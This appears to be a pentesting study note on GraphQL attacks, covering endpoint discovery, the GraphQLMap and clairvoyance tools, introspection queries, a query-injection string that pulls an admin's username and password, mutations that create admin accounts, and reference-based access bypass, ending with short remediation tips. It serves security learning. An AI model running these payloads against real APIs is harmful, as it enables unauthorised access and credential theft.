GraphQL

graphql graphql_introspection graphql_injection graphql_mutation

GraphQL (Graph Query Language) is an open-source query language for APIs. It's used by GitHub, Shopify, and Facebook internally.

It was designed to provide a more efficient, powerful, and flexible alternative to traditional REST APIs. It solves a problem of REST APIs which is under- and over-fetching.

There is only one endpoint. We can perform multiple queries in one request. Look for: /api/graphql, /graphql, /graphiql, etc.

Look into the JavaScript Source Code and you may find if it's used.

To query the id,username of the user with id=123:

query {
  # if available, list all users as "users"
  users: user { id, username }
  # query one user
  user(id: 123) {
    id
    username
  }
}

GraphQLMap

graphql_introspection graphql_injection graphql_mutation

GraphQLMap (1.3k ⭐, 2023 πŸͺ¦) was developed by the owner of PayloadsAllTheThings. It allows us to send GraphQL queries to an endpoint rather easily. It also provide a few utilities.

$ pipx install git+https://github.com/swisskyrepo/GraphQLmap
$ pipx runpip graphqlmap install requests
$ graphqlmap -h

It can dump the schema and present it in a nice representation.

A basic usage:

$ graphqlmap -u 'https://example.com/api/graphql' --headers '{"Authorization": "Bearer ..."}' --method POST
prompt> query { account(username: "admin") { id, username, password } }

Introspection πŸ—ΊοΈ

graphql_introspection

Introspection refer to dumping the API schema. It's often disabled in production.

Introspection β€” Manual Queries

Each object has a type. Each type has attributes. The type may have a constructor with arguments that are required to query an object.

{__schema{types{name}}}
{__schema{types{name,fields{name}}}}
{__schema{types{name,fields{name},description}}}
{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

After identifying the types and their arguments, we can query them:

{MyType{field1, field2}}
{MyType(arg:value){field1, field2}}

➑️ When errors are enabled, you can receive suggestions from GraphQL like a type or attribute name that is similar to your input.

Introspection β€” Graphical WebUI

GraphQL Voyager (7.7k ⭐) can take the input from your introspection query or from tools such as clairvoyance and display it as a graph.


Introspection β€” clairvoyance

clairvoyance (1.0k ⭐) can be used to dump the schema:

$ pipx install git+https://github.com/nikitastupin/clairvoyance
$ clairvoyance 'https://example.com/api/graphql' -o schema.json

GraphQL Injections

GraphQL Query Injection

graphql_injection graphql_mutation

Much like SQL, you can manipulate a query if user input is added directly to the query without any sanitization.

query {
  product(name: "$prodname") {
    id
    name
    description
  }
}

The normal expected input would be:

prodname = "toy"

But a malicious user could use the code below. We use # to avoid handling the rest of the request.

username = 'toy"){\nid\n}\naccount(username:"admin"){\nid,username,password\n}#'

Another alternative would be to close the query{ by using \n}.


GraphQL Mutation Queries

graphql_mutation

When introspecting the database, we may find mutations. They are functions allowing us to add/edit the database.

createAccount[]: id (Int!), username (String!), password (String!)

You can invoke it as follows:

mutation {
  createAccount(id: 5, username: "admin", password: "abc") { id, username }
}

The main issues are:

  • πŸ“š Creating records to bypass access control (role=admin)
  • πŸͺ¦ Creating records to perform an attack such as XSS
  • πŸ’¦ Updating records to bypass access control (role=admin)
  • πŸ’₯ Creating/Updating records to exploit references and access unintended objects. For instance, if we were blocked access to B, but we can create an object A that is referencing an object B, then by querying A, we may be able to access B.
query { notes { id, flag } } # blocked
query { post(id: 1) { id, notes { id, flag } } } # OK

πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

Remediation

  • RateLimit alone is not very useful as multiple queries in one request
  • SizeLimit should be enforced to block long requests
  • Access Control should be implemented (ex: JWT)
  • The server should validate types and values